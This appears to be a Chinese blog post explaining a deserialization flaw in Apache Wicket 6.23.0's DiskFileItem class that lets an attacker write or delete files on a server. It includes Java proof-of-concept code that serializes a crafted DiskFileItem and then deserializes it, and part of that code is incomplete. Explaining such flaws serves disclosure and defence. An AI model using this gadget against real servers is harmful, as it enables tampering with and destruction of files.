Apache Wicket 6.23.0 – Deserialization gadget

本文介绍了Apache Wicket 6.23.0版本的一个反序列化漏洞,该漏洞允许攻击者远程写入或删除服务器文件。通过修改序列化的DiskFileItem对象,攻击者能控制文件存储位置。尽管修复措施已实施,但利用难度较高。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >




Apacge Wicket简介:

Wicket是一个Java 语言的Web开发框架,与Struts,WebWork,Tapestry   相类似。其特点在于对Html和代码进行了有效的分离(有利于程序员和美工的合作),基于规则的配置(减少了XML   等配置文件的使用),学习曲线较低(开发方式与C/S相似),更加易于调试(错误类型比较少,而且容易定位)。


摘要:

Apache Wichet6.23.0项目的反序列化漏洞,这个漏洞没有Common Collection library危害大但是找到它是非常有趣的。这个漏洞允许写入远程文件到服务器本地文件中或删除服务器上面的任意文件。这个漏洞跟CVE-2013-2186相似。Apacge Wichet开发者复制粘贴了 Common Upload组件中"DiskFileItem" 类。


要演示这种攻击,需要服务器反序列化这个对象(例如通过RMI端口),你需要设置在服务器可以写可读的位置(例如共享目录或Web服务器根目录下的目录)。


漏洞描述:

在Apache Wicket的项目的6.23.0版本的“DiskFileItem”类反序列化过程中允许任意的远程文件写入到服务器的本地文件。


首先攻击者序列化一个DiskFileItem对象

package com.serialise;

import org.apache.wicket.util.file.FileCleaner;
import org.apache.wicket.util.io.DeferredFileOutputStream;
import org.apache.wicket.util.upload.DiskFileItem;

import java.io.*;
import java.net.URI;

/**
* Created by H4ck0rInj on 2016/9/27.
*/
public class Test{
public static void main(String argv[]){
try {
String contentType = "UTF-8";
boolean isFormField = true;
String fileName = "test.txt";
int sizeThreshold = 4;
File repository = new File(new URI("file:///D:/HACK/"));
FileCleaner fileUploadCleaner = new FileCleaner();
DiskFileItem dfi =new DiskFileItem(fileName,contentType,isFormField,fileName,sizeThreshold,repository,fileUploadCleaner);

DeferredFileOutputStream os = (DeferredFileOutputStream) dfi.getOutputStream();
System.out.println(os.isThresholdExceeded());
byte[] data = dfi.get();
os.write(fileName.getBytes());
FileOutputStream fos = new FileOutputStream("D:\\fileitem.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(dfi);
}catch (Exception e) {

}
}
}

然后攻击者将修改序列化对象。要修改的是要在红圈的地方将被复制的内容和内容要被复制的目录。它们都是Java File对象,所以他们能够支持URI参数。


这个Poc我们修改了原始的path和respository变量的指向。

System.out.println("Start");
FileInputStream fis = new FileInputStream("D:\\fileitem.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
DiskFileItem nameFromDisk = (DiskFileItem)ois.readObject();
System.out.println("End");
fos.close();


评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值